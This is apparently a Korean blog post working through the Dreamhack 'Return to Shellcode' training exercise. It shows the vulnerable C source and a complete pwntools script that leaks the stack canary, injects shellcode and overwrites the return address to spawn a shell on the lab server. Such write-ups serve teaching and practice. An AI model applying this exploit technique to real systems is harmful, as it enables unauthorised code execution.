외로운 Nova의 작업실
dreamhack 시스템해킹 - 11(Return to Shellcode 문제 풀이) 본문
Computer App Penetesting/System Vulnerability
dreamhack 시스템해킹 - 11(Return to Shellcode 문제 풀이)
Nova_ 2023. 1. 19. 21:38안녕하세요. 이번시간에는 드림핵 Return to Shellcode 문제풀이를 해보도록 하겠습니다.
- 문제인식
강의해서 실습하는 거라 별다른 문제정보는 없습니다. 특히나 지금 wsl로는 실행파일을 다운로드 하지 못해서 checksec을 하기 어려운 부분이 있으므로 강의를 참고하겠습니다.
환경을 보게되면 amd64 아키텍쳐 즉 x8-64 명령어 셋을 사용하고 있습니다. Full RELRO로 BSS를 제외한 곳에 write이 안되지만 스택을 건드릴 것이므로 괜찮습니다. 카나리를 사용중이고 NX가 사용중이지 않아서 스택에 쉘코드를 넣고 실행해야할 것 같습니다. PIE가 실행중이여서 실행마다 buf의 주소는 변할 것 같습니다. 이제 코드를 보겠습니다.
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf); //2진수로 출력해줍니다.
printf("Distance between buf and $rbp: %ld\n", //10진수로 출력해줍니다.
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100); //\n을 주지않아도 입력을 받아드립니다.
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf); //\n을 줘야 입력을 받아드립니다.
return 0;
}
보게되면 buf의 값을 print로 주기때문에 PIE가 실행중이여도 상관없습니다. 또한 입력값을 2번주기때문에 카나리 우회가 가능할 것 같습니다. 익스플로잇 해보겠습니다.
- 익스플로잇
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf); //16진수로 출력해줍니다.
printf("Distance between buf and $rbp: %ld\n", //10진수로 출력해줍니다.
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100); //\n을 주지않아도 입력을 받아드립니다.
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf); //\n을 줘야 입력을 받아드립니다.
return 0;
}
위 코드를 참고하여 파이썬으로 익스플로잇 코드를 짜보면 아래와 같이됩니다.
from pwn import *
p = remote("host3.dreamhack.games",18284)
context.arch = 'amd64'
p.recvuntil("buf: ")
buf = p.recvline()[:-1] #입력값에서 마지막\n을 없애고 받습니다.
print(buf)
buf = int(buf, 16) #16진수로 주기때문에 정수로 변환해줍니다.
p.recvuntil("rbp: ")
distance = p.recvline()[:-1] #입력값에서 마지막 \n을 없애고 받습니다.
print(distance)
rbpDistance = int(distance) #10진수로 주기때문에 base를 바꾸지않고 받습니다.
print(rbpDistance)
canaryDistance = rbpDistance - 8 # canary - sfp - ret 순이기때문에 8을 빼줍니다.
print(canaryDistance)
payload = b"A" * (canaryDistance + 1) #카나리의 null을 없애주기위해 +1을 더해줍니다.
print(payload)
p.sendafter("Input:", payload) #sendafter은 마지막에 \n을 넣지않습니다.
print(p.recvuntil(payload))
sevencanary = p.recvn(7)
print(sevencanary)
canary = u64(b"\x00"+ sevencanary)
print(p64(canary))
code = asm(shellcraft.sh()) #amd64 쉘코드를 만듭니다.
payload = code.ljust(canaryDistance, b"A") + p64(canary) + b"A" * 0x8 + p64(buf)
p.sendlineafter("Input:", payload) #sendlineafter은 마지막에 \n을 붙여서 send합니다.
p.interactive()
실행시켜보겠습니다.
성공적으로 쉘을 얻어낼 수 있습니다. 또한 카나리값은 '\x00\x9d@s\xdc\xf5;\xb6' 인것을 알 수 있습니다. 또한 buf에서 sfp까지의 거리는 96이였고 카나리까지의 거리는 88인것을 알 수 있습니다.
'Computer App Penetesting > System Vulnerability' 카테고리의 다른 글
해킹 실습 환경 만들기 (0) | 2023.02.13 |
---|---|
c언어와 어셈블리어 (0) | 2023.01.23 |
dreamhack 시스템해킹 - 10(Canary) (0) | 2023.01.18 |
dreamhack 시스템해킹 - 9(basic_exploitation_001 문제풀이) (0) | 2023.01.17 |
파이썬 interactive() 원리 (0) | 2023.01.17 |
Comments